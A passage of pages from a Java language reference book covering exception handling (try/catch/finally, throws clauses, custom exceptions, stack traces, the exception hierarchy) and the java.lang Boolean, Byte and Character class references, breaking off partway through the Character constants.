Here is an example of a try statement that includes a catch clause and a finally clause:

try {
    out.write(b);
} catch (IOException e) {
    System.out.println("Output Error");
} finally {
    out.close();
}

If out.write() throws an IOException, the exception is caught by the catch clause. Regardless of whether out.write() returns normally or throws an exception, the finally block is executed, which ensures that out.close() is always called.

A try statement executes the block that follows the keyword try. If an exception is thrown from within the try block and the try statement has any catch clauses, those clauses are searched, in order, for one that can handle the exception. If a catch clause handles an exception, that catch block is executed.

However, if the try statement does not have any catch clauses that can handle the exception (or does not have any catch clauses at all), the exception propagates up through enclosing statements in the current method. If the current method does not contain a try statement that can handle the exception, the exception propagates up to the invoking method. If this method does not contain an appropriate try statement, the exception propagates up again, and so on. Finally, if no try statement is found to handle the exception, the currently running thread terminates.

A catch clause is declared with a parameter that specifies the type of exception it can handle. The parameter in a catch clause must be of type Throwable or one of its subclasses. When an exception occurs, the catch clauses are searched for the first one with a parameter that matches the type of the exception thrown or is a superclass of the thrown exception. When the appropriate catch block is executed, the actual exception object is passed as an argument to the catch block. The code within a catch block should do whatever is necessary to handle the exceptional condition.

The finally clause of a try statement is always executed, no matter how control leaves the try statement. Thus it is a good place to handle clean-up operations, such as closing files, freeing resources, and closing network connections.

References The throw Statement; The try Statement; Throwable

Previous | Home | Next
Synchronizing Multiple Threads | Book Index | Declaring Exceptions
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] 9.2 Declaring Exceptions

Java Language Reference

Previous Chapter 9
Exception Handling 		Next

9.2 Declaring Exceptions

If a method is expected to throw any exceptions, the method declaration must declare that fact in a throws clause. If a method implementation contains a throw statement, it is possible that an exception will be thrown from within the method. In addition, if a method calls another method declared with a throws clause, there is the possibility that an exception will be thrown from within the method. If the exception is not caught inside the method with a try statement, it will be thrown out of the method to its caller. Any exception that can be thrown out of a method in this way must be listed in a throws clause in the method declaration. The classes listed in a throws clause must be Throwable or any of its subclasses; the Throwable class is the superclass of all objects that can be thrown in Java.

However, there are certain types of exceptions that do not have to be listed in a throws clause. Specifically, if the exception is an instance of Error, RuntimeException, or a subclass of one of those classes, it does not have to be listed in a throws clause. Subclasses of the Error class correspond to situations that are not easily predicted, such as the system running out of memory. Subclasses of RuntimeException correspond to many common run-time problems, such as illegal casts and array index problems. The reason that these types of exceptions are treated specially is that they can be thrown from such a large number of places that essentially every method would have to declare them.

Consider the following example:

import java.io.IOException;
class throwsExample {
    char[] a;
    int position;
    ...
    // Method explicitly throws an exception
    int read() throws IOException {
        if (position >= a.length)
            throw new IOException();
        return a[position++];
    }
    // Method implicitly throws an exception
    String readUpTo(char terminator) throws IOException {
        StringBuffer s = new StringBuffer();
        while (true) {
            int c = read(); // Can throw IOException
            if (c == -1 || c == terminator) {
                return s.toString();
            }
            s.append((char)c);
        }
        return s.toString();
    }
    // Method catches an exception internally
    int getLength() {
        String s;
        try {
            s = readUpTo(':');
        } catch (IOException e) {
            return 0;
        }
        return s.length();
    }
    // Method can throw a RuntimeException
    int getAvgLength() {
        int count = 0;
        int total = 0;
        int len;
        while (true){
            len = getLength();
            if (len == 0)
                break;
            count++;
            total += len;
        }
        return total/count; // Can throw ArithmeticException
    }
}

The method read() can throw an IOException, so it declares that fact in its throws clause. Without that throws clause, the compiler would complain that the method must either declare IOException in its throws clause or catch it. Although the readUpTo() method does not explicitly throw any exceptions, it calls the read() method that does throw an IOException, so it declares that fact in its throws clause. Whether explicitly or implicitly thrown, the requirement to catch or declare an exception is the same. The getLength() method catches the IOException thrown by readUpTo(), so it does not have to declare the exception. The final method, getAvgLength(), can throw an ArithmeticException if count is zero. Because ArithmeticException is a subclass of RuntimeException, the fact that it can be thrown out of getAvgLength() does not need to be declared in a throws clause.

References
Constructors;
Errors;
Methods;
Runtime exceptions;
The throw Statement;
The try Statement;
Throwable

Previous | Home | Next
Handling Exceptions | Book Index | Generating Exceptions
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] 9.3 Generating Exceptions

Java Language Reference

Previous Chapter 9
Exception Handling 		Next

9.3 Generating Exceptions

A Java program can use the exception-handling mechanism to deal with program-specific errors in a clean manner. A program simply uses the throw statement to signal an exception. The throw statement must be followed by an object that is of type Throwable or one of its subclasses. For program-defined exceptions, you typically want an exception object to be an instance of a subclass of the Exception class. In most cases, it makes sense to define a new subclass of Exception that is specific to your program.

Consider the following example:

class WrongDayException extends Exception {
    public WrongDayException () {}
    public WrongDayException(String msg) {
        super(msg);
    }
}
public class ThrowExample {
    void doIt() throws WrongDayException{
        int dayOfWeek =(new java.util.Date()).getDay();
        if (dayOfWeek != 2  && dayOfWeek != 4)
            throw new WrongDayException("Tue. or Thur.");
        // The rest of doIt's logic goes here
        System.out.println("Did it");
    }
    public static void main (String [] argv) {
        try {
            (new ThrowExample()).doIt();
        } catch (WrongDayException e) {
            System.out.println("Sorry, can do it only on "
                                + e.getMessage());
        }
    }
}

The code in this example defines a class called WrongDayException to represent the specific type of exception thrown by the example. The Throwable class, and most subclasses of Throwable, have at least two constructors. One constructor takes a string argument that is used as a textual message that explains the exception, while the other constructor takes no arguments. Thus, the WrongDayException class defines two constructors.

In the class ThrowExample, if the current day of the week is neither Tuesday nor Thursday, the doIt() method throws a WrongDayException. Note that the WrongDayException object is created at the same time it is thrown. It is common practice to provide some information about an exception when it is thrown, so a string argument is used in the allocation statement for the WrongDayException. The method declaration for the doIt() method contains a throws clause, to indicate the fact that it can throw a WrongDayException.

The main() method in ThrowExample encloses its call to the doIt() method in a try statement, so that it can catch any WrongDayException thrown by doIt(). The catch block prints an error message, using the getMessage() method of the exception object. This method retrieves the string that was passed to the constructor when the exception object was created.

References
Constructors;
Exceptions;
Methods;
The throw Statement;
The try Statement;
Throwable

Printing Stack Traces

When an exception is caught, it can be useful to print a stack trace to figure out where the exception came from. A stack trace looks like the following:

java.lang.ArithmeticException: / by zero
        at t.cap(t.java:16)
        at t.doit(t.java:8)
        at t.main(t.java:3)

You can print a stack trace by calling the printStackTrace() method that all Throwable objects inherit from the Throwable class. For example:

int cap (x) {return 100/x}
try {
    cap(0);
} catch(ArithmeticException e) {
    e.printStackTrace();
}

You can also print a stack trace anywhere in an application, without actually throwing an exception. For example:

new Throwable().printStackTrace();

References Throwable

Rethrowing Exceptions

After an exception is caught, it can be rethrown if is appropriate. The one choice that you have to make when rethrowing an exception concerns the location from where the stack trace says the object was thrown. You can make the rethrown exception appear to have been thrown from the location of the original exception throw, or from the location of the current rethrow.

To rethrow an exception and have the stack trace indicate the original location, all you have to do is rethrow the exception:

try {
    cap(0);
} catch(ArithmeticException e) {
    throw e;
}

To arrange for the stack trace to show the actual location from which the exception is being rethrown, you have to call the exception's fillInStackTrace() method. This method sets the stack trace information in the exception based on the current execution context. Here's an example using the fillIn-StackTrace() method:

try {
    cap(0);
} catch(ArithmeticException e) {
    throw (ArithmeticException)e.fillInStackTrace();
}

It is important to call fillInStackTrace() on the same line as the throw statement, so that the line number specified in the stack trace matches the line on which the throw statement appears. The fillInStackTrace() method returns a reference to the Throwable class, so you need to cast the reference to the actual type of the exception.

References Throwable

Previous | Home | Next
Declaring Exceptions | Book Index | The Exception Hierarchy
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] 9.4 The Exception Hierarchy

Java Language Reference

Previous Chapter 9
Exception Handling 		Next

9.4 The Exception Hierarchy

The possible exceptions in a Java program are organized in a hierarchy of exception classes. The Throwable class, which is an immediate subclass of Object, is at the root of the exception hierarchy. Throwable has two immediate subclasses: Exception and Error. Figure 9.1 shows the standard exception classes defined in the java.lang package, while Figure 9.2 shows the standard error classes defined in java.lang.

Figure 9.1: Standard Java exception classes

[Graphic: Figure 9-1]

Figure 9.2: Standard Java error classes

[Graphic: Figure 9-2]

Exceptions

All of the subclasses of Exception represent exceptional conditions that a normal Java program may want to handle. Many of the standard exceptions are also subclasses of RuntimeException. Runtime exceptions represent runtime conditions that can generally occur in any Java method, so a method is not required to declare that it throws any of the runtime exceptions. However, if a method can throw any of the other standard exceptions, it must declare them in its throws clause.

A Java program should try to handle all of the standard exception classes, since they represent routine abnormal conditions that should be anticipated and caught to prevent program termination.

Runtime exceptions

The java.lang package defines the following standard runtime exception classes:

ArithmeticException

This exception is thrown to indicate an exceptional arithmetic condition, such as integer division by zero.

ArrayIndexOutOfBoundsException

This exception is thrown when an out-of-range index is detected by an array object. An out-of-range index occurs when the index is less than zero or greater than or equal to the size of the array.

ArrayStoreException

This exception is thrown when there is an attempt to store a value in an array element that is incompatible with the type of the array.

ClassCastException

This exception is thrown when there is an attempt to cast a reference to an object to an inappropriate type.

IllegalArgumentException

This exception is thrown to indicate that an illegal argument has been passed to a method.

IllegalMonitorStateException

This exception is thrown when an object's wait(), notify(), or notifyAll() method is called from a thread that does not own the object's monitor.

IllegalStateException

This exception is thrown to indicate that a method has been invoked when the run-time environment is in an inappropriate state for the requested operation. This exception is new in Java 1.1.

IllegalThreadStateException

This exception is thrown to indicate an attempt to perform an operation on a thread that is not legal for the thread's current state, such as attempting to resume a dead thread.

IndexOutOfBoundsException

The appropriate subclass of this exception (i.e., ArrayIndexOutOfBoundsException or StringIndexOutOfBoundsException) is thrown when an array or string index is out of bounds.

NegativeArraySizeException

This exception is thrown in response to an attempt to create an array with a negative size.

NullPointerException

This exception is thrown when there is an attempt to access an object through a null object reference. This can occur when there is an attempt to access an instance variable or call a method through a null object or when there is an attempt to subscript an array with a null object.

NumberFormatException

This exception is thrown to indicate that an attempt to parse numeric information in a string has failed.

RuntimeException

The appropriate subclass of this exception is thrown in response to a runtime error detected at the virtual machine level. Because these exceptions are so common, methods that can throw objects that are instances of RuntimeException or one of its subclasses are not required to declare that fact in their throws clauses.

SecurityException

This exception is thrown in response to an attempt to perform an operation that violates the security policy implemented by the installed SecurityManager object.

StringIndexOutOfBoundsException

This exception is thrown when a String or StringBuffer object detects an out-of-range index. An out-of-range index occurs when the index is less than zero or greater than or equal to the length of the string.

Other exceptions

The java.lang package defines the following standard exception classes that are not runtime exceptions:

ClassNotFoundException

This exception is thrown to indicate that a class that is to be loaded cannot be found.

CloneNotSupportedException

This exception is thrown when the clone() method has been called for an object that does not implement the Cloneable interface and thus cannot be cloned.

Exception

The appropriate subclass of this exception is thrown in response to an error detected at the virtual machine level. If a program defines its own exception classes, they should be subclasses of the Exception class.

IllegalAccessException

This exception is thrown when a program tries to dynamically load a class (i.e., uses the forName() method of the Class class, or the findSystemClass() or the loadClass() method of the ClassLoader class) and the currently executing method does not have access to the specified class because it is in another package and not public. This exception is also thrown when a program tries to create an instance of a class (i.e., uses the newInstance() method of the Class class) that does not have a zero-argument constructor accessible to the caller.

InstantiationException

This exception is thrown in response to an attempt to instantiate an abstract class or an interface using the newInstance() method of the Class class.

InterruptedException

This exception is thrown to signal that a thread that is sleeping, waiting, or otherwise paused has been interrupted by another thread.

NoSuchFieldException

This exception is thrown when a specified variable cannot be found. This exception is new in Java 1.1.

NoSuchMethodException

This exception is thrown when a specified method cannot be found.

Errors

The subclasses of Error represent errors that are normally thrown by the class loader, the virtual machine, or other support code. Application-specific code should not normally throw any of these standard error classes. If a method does throw an Error class or any of its subclasses, the method is not required to declare that fact in its throws clause.

A Java program should not try to handle the standard error classes. Most of these error classes represent non-recoverable errors and as such, they cause the Java runtime system to print an error message and terminate program execution.

The java.lang package defines the following standard error classes:

AbstractMethodError

This error is thrown in response to an attempt to invoke an abstract method.

ClassCircularityError

This error is thrown when a circular reference among classes is detected during class initialization.

ClassFormatError

This error is thrown when an error is detected in the format of a file that contains a class definition.

Error

The appropriate subclass of this error is thrown when an unpredictable error, such as running out of memory, occurs. Because of the unpredictable nature of these errors, methods that can throw objects that are instances of Error or one of its subclasses are not required to declare that fact in their throws clauses.

ExceptionInInitializerError

This error is thrown when an unexpected exception is thrown in a static initializer. This error is new in Java 1.1.

IllegalAccessError

This error is thrown when a class attempts to access a field or call a method it does not have access to. Usually this error is caught by the compiler; this error can occur at run-time if the definition of a class changes after the class that references it was last compiled.

IncompatibleClassChangeError

This error or one of its subclasses is thrown when a class refers to another class in an incompatible way. This situation occurs when the current definition of the referenced class is incompatible with the definition of the class that was found when the referring class was compiled. For example, say class A refers to a method in class B. Then, after class A is compiled, the method is removed from class B. When class A is loaded, the run-time system discovers that the method in class B no longer exists and throws an error.

InstantiationError

This error is thrown in response to an attempt to instantiate an abstract class or an interface. Usually this error is caught by the compiler; this error can occur at run-time if the definition of a class is changed after the class that references it was last compiled.

InternalError

This error is thrown to signal an internal error within the virtual machine.

LinkageError

The appropriate subclass of this error is thrown when there is a problem resolving a reference to a class. Reasons for this may include a difficulty in finding the definition of the class or an incompatibility between the current definition and the expected definition of the class.

NoClassDefFoundError

This error is thrown when the definition of a class cannot be found.

NoSuchFieldError

This error is thrown in response to an attempt to reference an instance or class variable that is not defined in the current definition of a class. Usually this error is caught by the compiler; this error can occur at run-time if the definition of a class is changed after the class that references it was last compiled.

NoSuchMethodError

This error is thrown in response to an attempt to reference a method that is not defined in the current definition of a class. Usually this error is caught by the compiler; this error can occur at run-time if the definition of a class is changed after the class that references it was last compiled.

OutOfMemoryError

This error is thrown when an attempt to allocate memory fails.

StackOverflowError

This error is thrown when a stack overflow error occurs within the virtual machine.

ThreadDeath

This error is thrown by the stop() method of a Thread object to kill the thread. Catching ThreadDeath objects is not recommended. If it is necessary to catch a ThreadDeath object, it is important to re-throw the object so that it is possible to cleanly stop the catching thread.

UnknownError

This error is thrown when an error of unknown origins is detected in the run-time system.

UnsatisfiedLinkError

This error is thrown when the implementation of a native method cannot be found.

VerifyError

This error is thrown when the byte-code verifier detects that a class file, though well-formed, contains some sort of internal inconsistency or security problem.

VirtualMachineError

The appropriate subclass of this error is thrown to indicate that the Java virtual machine has encountered an error.

Previous | Home | Next
Generating Exceptions | Book Index | The java.lang Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] The java.lang Package

Java Language Reference

Previous Chapter 10 Next

10. The java.lang Package

Contents:

Select a new section and then

The package java.lang contains classes and interfaces that are essential to the Java language. These include:

  • Object, the ultimate superclass of all classes in Java

  • Thread, the class that controls each thread in a multithreaded program

  • Throwable, the superclass of all error and exception classes in Java

  • Classes that encapsulate the primitive data types in Java

  • Classes for accessing system resources and other low-level entities

  • Math, a class that provides standard mathematical methods

  • String, the class that is used to represent strings

Because the classes in the java.lang package are so essential, the java.lang package is implicitly imported by every Java source file. In other words, you can refer to all of the classes and interfaces in java.lang using their simple names.

Figure 10.1 shows the class hierarchy for the java.lang package.

Figure 10.1: The java.lang package

[Graphic: Figure 10-1]

Boolean

Name

Boolean

Synopsis

Class Name:

java.lang.Boolean

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.io.Serializable

Availability:

JDK 1.0 or later

Description

The Boolean class provides an object wrapper for a boolean value. This is useful when you need to treat a boolean value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify a boolean value for one of these arguments, but you can provide a reference to a Boolean object that encapsulates the boolean value. Furthermore, as of JDK 1.1, the Boolean class is necessary to support the Reflection API and class literals.

Class Summary

public final class java.lang.Boolean {
    // Constants
    public final static Boolean FALSE;
    public final static Boolean TRUE;
    public final static Class TYPE;                    // New in 1.1
    // Constructors
    public Boolean(boolean value);
    public Boolean(String s);
    // Class Methods
    public static boolean getBoolean(String name);
    public static Boolean valueOf(String s);
    // Instance Methods
    public boolean booleanValue();
    public boolean equals(Object obj);
    public int hashCode();
    public String toString();
}

Constants

TRUE

public static final Boolean TRUE

Description

A constant Boolean object that has the value true.

FALSE

public static final Boolean FALSE

Description

A constant Boolean object that has the value false.

TYPE

public static final Class TYPE

Availability

New as of JDK 1.1

Description

The Class object that represents the type boolean. It is always true that Boolean.TYPE == boolean.class.

Constructors

Boolean

public Boolean(boolean value)

Parameters

value

The boolean value to be made into a Boolean object.

Description

Constructs a Boolean object with the given value.

public Boolean(String s)

Parameters

s

The string to be made into a Boolean object.

Description

Constructs a Boolean object with the value specified by the given string. If the string equals 'true' (ignoring case), the value of the object is true; otherwise it is false.

Class Methods

getBoolean

public static boolean getBoolean(String name)

Parameters

name

The name of a system property.

Returns

The boolean value of the system property.

Description

This methods retrieves the boolean value of a named system property.

valueOf

public static Boolean valueOf(String s)

Parameters

s

The string to be made into a Boolean object.

Returns

A Boolean object with the value specified by the given string.

Description

This method returns a Boolean object with the value true if the string equals "true" (ignoring case); otherwise the value of the object is false.

Instance Methods

booleanValue

public boolean booleanValue()

Returns

The boolean value contained by the object.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Boolean, and it contains the same value as the object this method is associated with.

hashCode

public int hashCode()

Returns

A hashcode based on the boolean value of the object.

Overrides

Object.hashCode()

toString

public String toString()

Returns

"true" if the value of the object is true; "false" otherwise.

Overrides

Object.toString()

Description

This method returns a string representation of the Boolean object.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Boolean Type;
Boolean literals;
Class;
Object;
System

Previous | Home | Next
Void | Book Index | Byte
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Byte

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Byte

Name

Byte

Synopsis

Class Name:

java.lang.Byte

Superclass:

java.lang.Number

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The Byte class provides an object wrapper for a byte value. This is useful when you need to treat a byte value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify a byte value for one of these arguments, but you can provide a reference to a Byte object that encapsulates the byte value. Furthermore, the Byte class is necessary as of JDK 1.1 to support the Reflection API and class literals.

The Byte class also provides a number of utility methods for converting byte values to other primitive types and for converting byte values to strings and vice versa.

Class Summary

public final class java.lang.Byte extends java.lang.Number {
  // Constants
  public static final byte MAX_VALUE;
  public static final byte MIN_VALUE;
  public static final Class TYPE;
  // Constructors
  public Byte(byte value);
  public Byte(String s);
  // Class Methods
  public static Byte decode(String nm);
  public static byte parseByte(String s);
  public static byte parseByte(String s, int radix);
  public static String toString(byte b);
  public static Byte valueOf(String s, int radix);
  public static Byte valueOf(String s);
  // Instance Methods
  public byte byteValue();
  public double doubleValue;
  public boolean equals(Object obj);
  public float floatValue
  public int hashCode();
  public int intValue();
  public long longValue();
  public short shortValue();
  public String toString();
}

Constants

MAX_VALUE

public static final byte MAX_VALUE= 127

The largest value that can be represented by a byte.

MIN_VALUE

public static final byte MIN_VALUE= -128

The smallest value that can be represented by a byte.

TYPE

public static final Class TYPE

The Class object that represents the primitive type byte. It is always true that Byte.TYPE == byte.class.

Constructors

Byte

public Byte(byte value)

Parameters

value

The byte value to be encapsulated by this object.

Description

Creates a Byte object with the specified byte value.

public Byte(String s) throws NumberFormatException

Parameters

s

The string to be made into a Byte object.

Throws

NumberFormatException

If the sequence of characters in the given String does not form a valid byte literal.

Description

Constructs a Byte object with the value specified by the given string. The string should consist of one or more digit characters. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the constructor throws a NumberFormatException.

Class Methods

decode

public static Byte decode(String nm) throws NumberFormatException

Parameters

nm

A String representation of the value to be encapsulated by a Byte object. If the string begins with # or 0x, it is a radix 16 representation of the value. If the string begins with 0, it is a radix 8 representation of the value. Otherwise, it is assumed to be a radix 10 representation of the value.

Returns

A Byte object that encapsulates the given value.

Throws

NumberFormatException

If the String contains any non-digit characters other than a leading minus sign or the value represented by the String is less than Byte.MIN_VALUE or greater than Byte.MAX_VALUE.

Description

This method returns a Byte object that encapsulates the given value.

parseByte

public static byte parseByte(String s) throws NumberFormatException

Parameters

s

The String to be converted to a byte value.

Returns

The numeric value of the byte represented by the String object.

Throws

NumberFormatException

If the String does not contain a valid representation of a byte or the value represented by the String is less than Byte.MIN_VALUE or greater than Byte.MAX_VALUE.

Description

This method returns the numeric value of the byte represented by the contents of the given String object. The String must contain only decimal digits, except that the first character may be a minus sign.

 public static byte parseByte(String s, int radix) throws NumberFormatException

Parameters

s

The String to be converted to a byte value.

radix

The radix used in interpreting the characters in the String as digits. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX. If radix is in the range 2 through 10, only characters for which the Character.isDigit() method returns true are considered to be valid digits. If radix is in the range 11 through 36, characters in the ranges `A' through `Z' and `a' through `z' may be considered valid digits.

Returns

The numeric value of the byte represented by the String object in the specified radix.

Throws

NumberFormatException

If the String does not contain a valid representation of a byte, radix is not in the appropriate range, or the value represented by the String is less than Byte.MIN_VALUE or greater than Byte.MAX_VALUE.

Description

This method returns the numeric value of the byte represented by the contents of the given String object in the specified radix. The String must contain only valid digits of the specified radix, except that the first character may be a minus sign. The digits are parsed in the specified radix to produce the numeric value.

toString

public String toString(byte b)

Parameters

b

The byte value to be converted to a string.

Returns

The string representation of the given value.

Description

This method returns a String object that contains the decimal representation of the given value.

This method returns a string that begins with `-' if the given value is negative. The rest of the string is a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', and `9'. This method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

valueOf

public static Byte valueOf(String s) throws NumberFormatException

Parameters

s

The string to be made into a Byte object.

Returns

The Byte object constructed from the string.

Throws

NumberFormatException

If the String does not contain a valid representation of a byte or the value represented by the String is less than Byte.MIN_VALUE or greater than Byte.MAX_VALUE.

Description

Constructs a Byte object with the value specified by the given string. The string should consist of one or more digit characters. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the method throws a NumberFormatException.

 public static Byte valueOf(String s, int radix) throws NumberFormatException

Parameters

s

The string to be made into a Byte object.

radix

The radix used in converting the string to a value. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX.

Returns

The Byte object constructed from the string.

Throws

NumberFormatException

If the String does not contain a valid representation of a byte, radix is not in the appropriate range, or the value represented by the String is less than Byte.MIN_VALUE or greater than Byte.MAX_VALUE.

Description

Constructs a Byte object with the value specified by the given string in the specified radix. The string should consist of one or more digit characters or characters in the range `A' to `Z' or `a' to `z' that are considered digits in the given radix. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the method throws a NumberFormatException.

Instance Methods

byteValue

public byte byteValue()

Returns

The value of this object as a byte.

Overrides

Number.byteValue()

Description

This method returns the value of this object as a byte.

doubleValue

public double doubleValue()

Returns

The value of this object as a double.

Overrides

Number.doubleValue()

Description

This method returns the value of this object as a double.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Byte and it contains the same value as the object this method is associated with.

floatValue

public float floatValue()

Returns

The value of this object as a float.

Overrides

Number.floatValue()

Description

This method returns the value of this object as a float.

hashCode

public int hashCode()

Returns

A hashcode based on the byte value of the object.

Overrides

Object.hashCode()

Description

This method returns a hashcode computed from the value of this object.

intValue

public int intValue()

Returns

The value of this object as an int.

Overrides

Number.intValue()

Description

This method returns the value of this object as an int.

longValue

public long longValue()

Returns

The value of this object as a long.

Overrides

Number.longValue()

Description

This method returns the value of this object as a long.

shortValue

public short shortValue()

Returns

The value of this object as a short.

Overrides

Number.shortValue()

Description

This method returns the value of this object as a short.

toString

public String toString()

Returns

The string representation of the value of this object.

Overrides

Object.toString()

Description

This method returns a String object that contains the decimal representation of the value of this object.

This method returns a string that begins with `-` if the given value is negative. The rest of the string is a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', and `9'. This method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Character;
Class;
Double;
Exceptions;
Float;
Integer literals;
Integer types;
Integer;
Long;
Number;
Short;
String

Previous | Home | Next
Boolean | Book Index | Character
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Character

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Character

Name

Character

Synopsis

Class Name:

java.lang.Character

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.io.Serializable

Availability:

JDK 1.0 or later

Description

The Character class provides an object wrapper for a char value. This is useful when you need to treat a char value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify a char value for one of these arguments, but you can provide a reference to a Character object that encapsulates the char value. Furthermore, as of JDK 1.1, the Character class is necessary to support the Reflection API and class literals.

In Java, Character objects represent values defined by the Unicode standard. Unicode is defined by an organization called the Unicode Consortium. The defining document for Unicode is The Unicode Standard, Version 2.0 (ISBN 0-201-48345-9). More recent information about Unicode is available at http://unicode.org. Appendix a, The Unicode 2.0 Character Set, contains a table that lists the characters defined by the Unicode 2.0 standard.

The Character class provides some utility methods, such as methods for determining the type (e.g., uppercase or lowercase, digit or letter) of a character and for converting from uppercase to lowercase. The logic for these utility methods is based on a Unicode attribute table that is part of the Unicode standard. That table is available at ftp://unicode.org/pub/2.0-Update/UnicodeData-2.0.14.txt.

Some of the methods in the Character class are concerned with characters that are digits; these characters are used by a number of other classes to convert strings that contain numbers into actual numeric values. The digit-related methods all use a radix value to interpret characters. The radix is the numeric base used to represent numbers as characters or strings. Octal is a radix 8 representation, while hexadecimal is a radix 16 representation. The methods that require a radix parameter use it to determine which characters should be treated as valid digits. In radix 2, only the characters `0' and `1' are valid digits. In radix 16, the characters `0' through `9', `a' through `z', and `A' through `Z' are considerd valid digits.

Class Summary

public final class java.lang.Character extends java.lang.Object
                                       implements java.io.Serializable {
    // Constants
    public final static byte COMBINING_SPACING_MARK;        // New in 1.1
    public final static byte CONNECTOR_PUNCTUATION;         // New in 1.1
    public final static byte CONTROL;                       // New in 1.1
    public final static byte CURRENCY_SYMBOL;               // New in 1.1
    public final static byte DASH_PUNCTUATION;              // New in 1.1
    public final static byte DECIMAL_DIGIT_NUMBER;          // New in 1.1
    public final static byte ENCLOSING_MARK;                // New in 1.1
    public final static byte END_PUNCTUATION;               // New in 1.1
    public final static byte FORMAT;                        // New in 1.1
    public final static byte LETTER_NUMBER;                 // New in 1.1
    public final static byte LINE_SEPARATOR;                // New in 1.1
    public final static byte LOWERCASE_LETTER;              // New in 1.1
    public final static byte MATH_SYMBOL;                   // New in 1.1
    public final static int MAX_RADIX;
    public final static char MAX_VALUE;
    public final static int MIN_RADIX;
    public final static char MIN_VALUE;
    public final static byte MODIFIER_LETTER;               // New in 1.1
    public final static byte MODIFIER_SYMBOL;               // New in 1.1
    public final static byte NON_SPACING_MARK;              // New in 1.1
    public final static byte OTHER_LETTER;                  // New in 1.1
    public final static byte OTHER_NUMBER;                  // New in 1.1
    public final static byte OTHER_PUNCTUATION;             // New in 1.1
    public final static byte OTHER_SYMBOL;                  // New in 1.1
    public final static byte PARAGRAPH_SEPARATOR;           // New in 1.1
    public final static byte PRIVATE_USE;                   // New in 1.1
    public final static byte SPACE_SEPARATOR;               // New in 1.1
    public final static byte START_PUNCTUATION;             // New in 1.1
    public final static byte SURROGATE;                     // New in 1.1
    public final static byte TITLECASE_LETTER;              // New in 1.1
    public final static Class TYPE;                         // New in 1.1
    public final static byte UNASSIGNED;                    // New in 1.1
    public final static byte UPPERCASE_LETTER;              // New in 1.1
    // Constructors
    public Character(char value);
    // Class Methods
    public static int digit(char ch, int radix);
    public static char forDigit(int digit, int radix);
    public static int getNumericValue(char ch);             // New in 1.1
    public static int getType(char ch);                     // New in 1.1
    public static boolean isDefined(char ch);
    public static boolean isDigit(char ch);
    public static boolean isIdentifierIgnorable(char ch);   // New in 1.1
    public static boolean isISOControl(char ch);            // New in 1.1
    public static boolean isJavaIdentifierPart(char ch);    // New in 1.1
    public static boolean isJavaIdentifierStart(char ch);   // New in 1.1
    public static boolean isJavaLetter(char ch);        // Deprecated in 1.1
    public static boolean isJavaLetterOrDigit(char ch); // Deprecated in 1.1
    public static boolean isLetter(char ch);
    public static boolean isLetterOrDigit(char ch);
    public static boolean isLowerCase(char ch);
    public static boolean isSpace(char ch);             // Deprecated in 1.1
    public static boolean isSpaceChar(char ch);             // New in 1.1
    public static boolean isTitleCase(char ch);
    public static boolean isUnicodeIdentifierPart(char ch); // New in 1.1
    public static boolean isUnicodeIdentifierStart(char ch);// New in 1.1
    public static boolean isUpperCase(char ch);
    public static boolean isWhitespace(char ch);            // New in 1.1
    public static char toLowerCase(char ch);
    public static char toTitleCase(char ch);
    public static char toUpperCase(char ch);
    // Instance Methods
    public char charValue();
    public boolean equals(Object obj);
    public int hashCode();
    public String toString();
}

Constants

COMBINING_SPACING_MARK

public final static byte COMBINING_SPACING_MARK

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

CONNECTOR_PUNCTUATION

public final static byte CONNECTOR_PUNCTUATION

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

CONTROL

public final static byte CONTROL

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

CURRENCY_SYMBOL

public final static byte CURRENCY_SYMBOL

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

DASH_PUNCTUATION

public final static byte DASH_PUNCTUATION

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

DECIMAL_DIGIT_NUMBER

public final static byte DECIMAL_DIGIT_NUMBER

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

ENCLOSING_MARK

